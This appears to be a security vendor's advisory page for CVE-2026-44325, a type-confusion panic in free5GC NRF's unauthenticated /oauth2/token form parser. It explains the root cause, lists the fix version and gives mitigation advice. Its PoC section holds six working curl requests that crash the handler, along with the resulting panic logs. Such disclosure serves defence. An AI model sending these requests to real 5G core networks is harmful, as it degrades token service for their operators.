CVE-2026-44325 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in github.com/free5gc/nrf. A fix is available for github.com/free5gc/nrf — see the affected versions and patch details below.
free5GC: NRF POST /oauth2/token structured-form parser type-confusion panic family (Reflect.Set on incompatible types)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44325.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44325 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/free5gc/nrfReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.
Note: /oauth2/token is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.
Details
Validated against the NRF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nrf:v4.2.1 - Docker validation date: 2026-03-22
- NRF endpoint:
http://10.100.200.3:8000
Root cause is in the access-token request parser:
NFs/nrf/internal/sbi/api_accesstoken.go:52NFs/nrf/internal/sbi/api_accesstoken.go:87NFs/nrf/internal/sbi/api_accesstoken.go:98NFs/nrf/internal/sbi/api_accesstoken.go:100NFs/nrf/internal/sbi/api_accesstoken.go:112
The model definition lives in free5gc/openapi:
models/model_nrf_access_token_access_token_req.go:27models/model_nrf_access_token_access_token_req.go:29models/model_nrf_access_token_access_token_req.go:30models/model_nrf_access_token_access_token_req.go:31
The parser's effective shape is: parse value as *models.PlmnId, then dstField.Set(reflect.ValueOf(parsedPlmnId)). Every destination field that is NOT string and NOT NrfNfManagementNfType falls into this branch, so any time the destination is a slice ([]models.PlmnId, []models.Snssai, []models.PlmnIdNid, []string) or a different pointer type (*models.PlmnIdNid), the reflect.Set call panics with a runtime type-confusion error.
Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):
requesterPlmnList-> panic assigning*models.PlmnIdto[]models.PlmnIdrequesterSnssaiList-> panic assigning*models.PlmnIdto[]models.SnssairequesterSnpnList-> panic assigning*models.PlmnIdto[]models.PlmnIdNidtargetSnpn-> panic assigning*models.PlmnIdto*models.PlmnIdNidtargetSnssaiList-> panic assigning*models.PlmnIdto[]models.SnssaitargetNsiList-> panic assigning*models.PlmnIdto[]string
PoC
Reproduced end-to-end against the running NRF at http://10.100.200.3:8000. Each of the following single requests independently crashes the handler.
requesterPlmnList->[]models.PlmnIdmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}'
requesterSnssaiList->[]models.Snssaimismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}'
requesterSnpnList->[]models.PlmnIdNidmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}'
targetSnpn->*models.PlmnIdNidmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}'
targetSnssaiList->[]models.Snssaimismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}'
targetNsiList->[]stringmismatch:
curl -i -X POST http://10.100.200.3:8000/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}'
Observed response (per request, no body returned):
HTTP/1.1 500 Internal Server Error
Content-Length: 0
NRF container logs (docker logs nrf) confirm the reflect.Set type-confusion panic in HTTPAccessTokenRequest, with the panic message changing per field type:
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid
[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string
INFO][NRF][GIN] | 500 | POST | /oauth2/token |
Impact
Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).
This is NOT framed as an auth-bypass finding: /oauth2/token is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.
What the bug realistically gives an off-path attacker:
- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.
- Per-request CPU + log-write cost that is materially higher than a normal validation reject (
400) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.
- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than
400validation) and pollute logs / rotate out useful diagnostic history.
No Confidentiality impact (HTTP 500 with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/nrf | all versions | 1.4.3go get github.com/free5gc/nrf@v1.4.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/nrf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/free5gc/nrf to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44325 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44325 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44325. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44325 in your dependencies?
O3 Security finds CVE-2026-44325 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.